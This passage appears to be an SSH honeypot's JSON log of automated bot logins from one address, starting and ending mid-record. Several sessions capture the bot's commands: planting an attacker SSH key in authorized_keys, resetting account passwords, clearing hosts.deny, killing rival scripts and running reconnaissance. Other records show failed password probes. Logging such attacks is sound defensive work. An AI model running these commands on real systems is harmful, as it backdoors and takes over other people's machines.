AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:22:59.069538+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:22:59.540660+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:22:59.837121+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6wRCZCn8GUjm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:23:00.133526+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:23:00.433679+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:01.175252+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:01.470738+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:02.496760+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:02.795344+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:04.192492+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:04.491035+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:05.166215+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:05.462753+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:05.916833+00:00","kind":"output","latency_ms":null,"data":" 12:23:05 up 7 days, 9:13, 0 user, load average: 0.25, 0.28, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:06.214362+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:06.998605+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:07.293823+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:08.142228+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:08.439212+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:08.874501+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:08 up 7 days, 9:13, 0 user, load average: 0.25, 0.28, 0.19\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:09.173396+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:09.488908+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:09.785079+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:10.421691+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:10.722176+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:11.522794+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:23:11.813528+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:12.913985+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:13.210817+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:14.646164+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"centreon","method":"password","accepted":true,"tier":"other"}]} {"id":"b6a2f706-71bc-4b66-b0aa-c02cd5e0a2fa","name":"hushed-forlorn-macaw","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":58534,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:22:57.102309+00:00","ended_at":"2026-08-27T12:22:58.981506+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"800d2bc9-6449-4996-b7db-3134b39789e1","name":"noble-jovial-marten","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":58524,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:22:55.384813+00:00","ended_at":"2026-08-27T12:22:56.516665+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a91ccc20-8ea6-4baf-bb5b-ebf14b1b5d42","name":"feral-thawing-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":47744,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:10.503023+00:00","ended_at":"2026-08-27T12:21:12.216098+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:20:53.273178+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:20:53.574245+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:20:57.334003+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:20:58.045815+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:20:58.345992+00:00","kind":"input","latency_ms":null,"data":"echo \"root:XOJYU4slkJdE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:20:58.644499+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:20:58.943787+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:20:59.729860+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:00.033440+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:01.293467+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:01.598334+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:21:02.542252+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:02.844042+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:03.369259+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:03.668040+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:04.409321+00:00","kind":"output","latency_ms":null,"data":" 12:21:04 up 7 days, 9:11, 0 user, load average: 0.13, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:04.709391+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:21:04.962971+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:05.262788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:05.676890+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:05.977020+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:06.449151+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:06 up 7 days, 9:11, 0 user, load average: 0.13, 0.15, 0.1\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:06.750782+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:07.153948+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:07.455854+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:07.993186+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:08.292777+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:09.052281+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:21:09.351882+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:10.203857+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:10.503994+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:12.128169+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"expand","method":"password","accepted":true,"tier":"other"}]} {"id":"9e695520-55bd-4213-a27b-6412fa1745c7","name":"burly-wooded-cheetah","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":42468,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:20:56.006166+00:00","ended_at":"2026-08-27T12:20:57.246261+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"56895441-faa4-478f-bf20-8e0a07bfd0fc","name":"loyal-earnest-llama","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":47758,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:20:54.242654+00:00","ended_at":"2026-08-27T12:20:55.421758+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2adc65a9-9a2a-48c2-951c-7a9693314980","name":"early-flinty-godwit","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":49492,"username":"pivpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:19:01.318517+00:00","ended_at":"2026-08-27T12:19:03.298001+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T12:18:43.259138+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:18:43.564014+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:18:47.367926+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:18:47.908189+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:18:48.209564+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pivpn1234\\nv8Fi2e7MprBt\\nv8Fi2e7MprBt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:18:48.505753+00:00","kind":"input","latency_ms":null,"data":"echo \"pivpn1234\\nv8Fi2e7MprBt\\nv8Fi2e7MprBt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:18:48.807765+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:18:49.610181+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:18:49.909626+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:18:51.054645+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:18:51.356106+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:18:52.450274+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:18:52.745579+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:18:53.356022+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:18:53.653814+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:18:54.305507+00:00","kind":"output","latency_ms":null,"data":" 12:18:54 up 7 days, 9:09, 0 user, load average: 0.08, 0.05, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:18:54.607821+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:18:55.156384+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:18:55.453171+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:18:56.102999+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:18:56.407237+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:18:57.130384+00:00","kind":"output","latency_ms":null,"data":"top - 12:18:57 up 7 days, 9:09, 0 user, load average: 0.08, 0.05, 0.06\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:18:57.432081+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:18:57.855881+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:18:58.152040+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:18:58.829319+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:18:59.130719+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:18:59.515110+00:00","kind":"output","latency_ms":null,"data":"pivpn"},{"seq":29,"at":"2026-08-27T12:18:59.814150+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:19:01.019357+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:19:01.319326+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:19:03.211162+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pivpn","password":"pivpn1234","method":"password","accepted":true,"tier":"other"}]} {"id":"e970556b-bf11-4101-94e1-bd615820ad01","name":"umber-courtly-cougar","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":44786,"username":"pivpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:18:45.502121+00:00","ended_at":"2026-08-27T12:18:47.280886+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"pivpn","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6cd2a942-966b-493e-9a88-d45f964b671b","name":"humble-vigilant-owl","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":49498,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:18:44.239960+00:00","ended_at":"2026-08-27T12:18:44.916617+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"38e87d5e-ef1f-45a2-bb06-542130b3b7bf","name":"hazel-upland-numbat","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":55238,"username":"admin123","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:16:49.883425+00:00","ended_at":"2026-08-27T12:16:52.008092+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T12:16:34.255006+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:16:34.548514+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:16:37.676608+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:16:38.127708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:16:38.421119+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin\\n0sAC8lMcw8Xk\\n0sAC8lMcw8Xk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:16:38.714122+00:00","kind":"input","latency_ms":null,"data":"echo \"admin\\n0sAC8lMcw8Xk\\n0sAC8lMcw8Xk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:16:39.043027+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:16:39.309282+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:16:39.606254+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:16:40.816363+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:16:41.113661+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:16:41.989014+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:16:42.287540+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:16:42.820316+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:16:43.116260+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:16:43.436214+00:00","kind":"output","latency_ms":null,"data":" 12:16:43 up 7 days, 9:06, 0 user, load average: 0.35, 0.25, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:16:43.731136+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:16:44.215226+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:16:44.510956+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:16:44.871438+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:16:45.167000+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:16:45.519756+00:00","kind":"output","latency_ms":null,"data":"top - 12:16:45 up 7 days, 9:06, 0 user, load average: 0.35, 0.25, 0.4\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:16:45.815788+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:16:46.378185+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:16:46.674033+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:16:47.199370+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:16:47.495765+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:16:48.174694+00:00","kind":"output","latency_ms":null,"data":"admin123"},{"seq":29,"at":"2026-08-27T12:16:48.470346+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep 